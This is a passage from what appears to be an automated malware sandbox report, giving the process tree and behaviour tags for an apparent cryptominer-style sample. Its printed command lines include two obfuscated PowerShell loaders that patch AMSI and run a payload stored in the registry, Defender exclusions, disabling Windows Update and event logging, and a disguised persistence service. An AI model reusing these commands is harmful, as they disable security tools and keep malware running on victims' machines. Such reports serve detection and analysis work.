of 2928 3396 dllhost.exe sihost.exe PID 3396 wrote to memory of 3044 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 1044 3396 dllhost.exe taskhostw.exe PID 3396 wrote to memory of 3160 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 3352 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 3428 3396 dllhost.exe Explorer.EXE PID 3396 wrote to memory of 3556 3396 dllhost.exe svchost.exe PID 3396 wrote to memory of 3752 3396 dllhost.exe DllHost.exe PID 3396 wrote to memory of 3904 3396 dllhost.exe RuntimeBroker.exe PID 3396 wrote to memory of 3448 3396 dllhost.exe RuntimeBroker.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:384
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{ff2ab177-cc84-4d78-a11f-17b0c566da19}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3396
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{69668343-edde-4478-a464-ad97c181e4ab}2⤵PID:3604
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1056
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1172 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:1044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ATjiWeFTYcMU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kBzIoVstBrIyNp,[Parameter(Position=1)][Type]$tKycplhmTh)$IdYZkbtwLje=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+'ec'+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+'g'+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+'or'+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+'l'+''+'e'+'',$False).DefineType(''+'M'+''+[Char](121)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Au'+'t'+''+'o'+'C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$IdYZkbtwLje.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+'i'+''+'g'+''+','+''+[Char](80)+''+[Char](117)+'bl'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$kBzIoVstBrIyNp).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');$IdYZkbtwLje.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+'ubl'+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+'d'+[Char](101)+'By'+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+',V'+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$tKycplhmTh,$kBzIoVstBrIyNp).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+'m'+''+'e'+''+[Char](44)+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $IdYZkbtwLje.CreateType();}$tsVJgKcveUtLz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'stem'+'.'+''+'d'+''+'l'+''+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+'W'+''+[Char](105)+''+[Char](110)+'3'+'2'+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+'a'+'t'+'i'+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$lsqqqVZwpSHkav=$tsVJgKcveUtLz.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+'c'+[Char](65)+''+[Char](100)+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UkxDSudFqkQDJnybisC=ATjiWeFTYcMU @([String])([IntPtr]);$UDOhVuqosWrdrXcLtTaAyG=ATjiWeFTYcMU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$lVxJzXNpGiu=$tsVJgKcveUtLz.GetMethod('G'+'e'+''+[Char](116)+'Mo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'Ha'+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('ker'+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+'dll')));$RDjFwxjisWsoLv=$lsqqqVZwpSHkav.Invoke($Null,@([Object]$lVxJzXNpGiu,[Object]('L'+[Char](111)+''+'a'+''+[Char](100)+''+[Char](76)+''+'i'+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$jNVpeaoBwyOCWYqOG=$lsqqqVZwpSHkav.Invoke($Null,@([Object]$lVxJzXNpGiu,[Object]('V'+'i'+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$JIHvJIq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RDjFwxjisWsoLv,$UkxDSudFqkQDJnybisC).Invoke('a'+[Char](109)+''+[Char](115)+''+'i'+''+'.'+'d'+[Char](108)+''+'l'+'');$UKsqbEVZGQZhhiLpZ=$lsqqqVZwpSHkav.Invoke($Null,@([Object]$JIHvJIq,[Object](''+'A'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+'ca'+[Char](110)+''+'B'+''+[Char](117)+''+'f'+''+[Char](102)+'e'+'r'+'')));$EQNhlaBdfN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jNVpeaoBwyOCWYqOG,$UDOhVuqosWrdrXcLtTaAyG).Invoke($UKsqbEVZGQZhhiLpZ,[uint32]8,4,[ref]$EQNhlaBdfN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$UKsqbEVZGQZhhiLpZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jNVpeaoBwyOCWYqOG,$UDOhVuqosWrdrXcLtTaAyG).Invoke($UKsqbEVZGQZhhiLpZ,[uint32]8,0x20,[ref]$EQNhlaBdfN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'e'+'r'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:WmDbZsvmvdZo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SSosJpMLlPYLBe,[Parameter(Position=1)][Type]$EHCYgjorMq)$rjBzIoJHkrc=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'efl'+[Char](101)+'c'+[Char](116)+'ed'+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+'r'+[Char](121)+'M'+'o'+''+[Char](100)+'ul'+'e'+'',$False).DefineType('M'+'y'+'D'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+'p'+''+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+','+'A'+''+'n'+''+[Char](115)+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+','+'A'+''+'u'+'t'+'o'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$rjBzIoJHkrc.DefineConstructor(''+'R'+'TS'+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+'al'+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$SSosJpMLlPYLBe).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+'Ma'+[Char](110)+''+'a'+''+[Char](103)+'ed');$rjBzIoJHkrc.DefineMethod(''+[Char](73)+'n'+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'li'+'c'+','+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+'ig,'+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+''+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+'t'+'u'+''+'a'+''+[Char](108)+'',$EHCYgjorMq,$SSosJpMLlPYLBe).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $rjBzIoJHkrc.CreateType();}$EslWEnDJAasoa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+''+[Char](116)+'e'+'m'+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+'o'+[Char](115)+''+'o'+''+'f'+''+'t'+'.Win'+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+'s'+''+[Char](97)+'f'+[Char](101)+'Nat'+'i'+''+[Char](118)+''+'e'+'M'+'e'+''+[Char](116)+'hods');$YsmiXhIyhRTUuF=$EslWEnDJAasoa.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+'d'+'d'+[Char](114)+''+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'b'+'l'+''+'i'+''+[Char](99)+''+','+'St'+[Char](97)+''+'t'+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BJbaRoIxirKWEUHERfy=WmDbZsvmvdZo @([String])([IntPtr]);$ftjHDgBZPcmHwSGIXOAGtS=WmDbZsvmvdZo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gymMXLJJthR=$EslWEnDJAasoa.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'d'+'u'+'le'+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+'l'+'')));$GpqDvdniQXfRyV=$YsmiXhIyhRTUuF.Invoke($Null,@([Object]$gymMXLJJthR,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+'a'+'r'+'yA')));$dLOotVquWxotGLDVV=$YsmiXhIyhRTUuF.Invoke($Null,@([Object]$gymMXLJJthR,[Object]('V'+'i'+'r'+[Char](116)+''+'u'+'a'+'l'+'Prot'+'e'+''+'c'+'t')));$svshQux=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GpqDvdniQXfRyV,$BJbaRoIxirKWEUHERfy).Invoke('a'+[Char](109)+'si'+[Char](46)+''+[Char](100)+''+[Char](108)+'l');$QvWNgdinAlmfIxGWB=$YsmiXhIyhRTUuF.Invoke($Null,@([Object]$svshQux,[Object](''+'A'+''+'m'+''+[Char](115)+''+'i'+''+[Char](83)+''+'c'+''+'a'+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$XaLVDQcVTI=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dLOotVquWxotGLDVV,$ftjHDgBZPcmHwSGIXOAGtS).Invoke($QvWNgdinAlmfIxGWB,[uint32]8,4,[ref]$XaLVDQcVTI);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$QvWNgdinAlmfIxGWB,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dLOotVquWxotGLDVV,$ftjHDgBZPcmHwSGIXOAGtS).Invoke($QvWNgdinAlmfIxGWB,[uint32]8,0x20,[ref]$XaLVDQcVTI);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+'T'+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+'ial'+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+'ge'+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3984 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1788
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1388
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1436
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1592
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1672
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1916
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1964
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2012
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2040
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2128
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2248
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2432
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2504
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2520
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2548
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3352
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3428
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C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe"C:\Users\Admin\AppData\Local\Temp\e4b86908861cd469bcba966d7230537ea1d0727d46c4fc8cb1262cced20f5b7c.exe"2⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4116 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:2388
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:5112
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1272
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:4112
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:3972
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:4448
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3348
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2920
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3476
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3196
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:1912
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:556
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"3⤵
- Launches sc.exe
PID:4932
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:1628
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:1924 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:1800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3556
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3752
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3904
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4920
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2120
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2268
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3520
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2968
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4820
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4836
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3316
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:2836
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:2452
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C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2744 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3244 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2896
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:4544
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3012
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2180
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1944
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1700 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2092
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:4228
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:4404
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3696
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3236 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4656
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2972 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1828
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1364 -
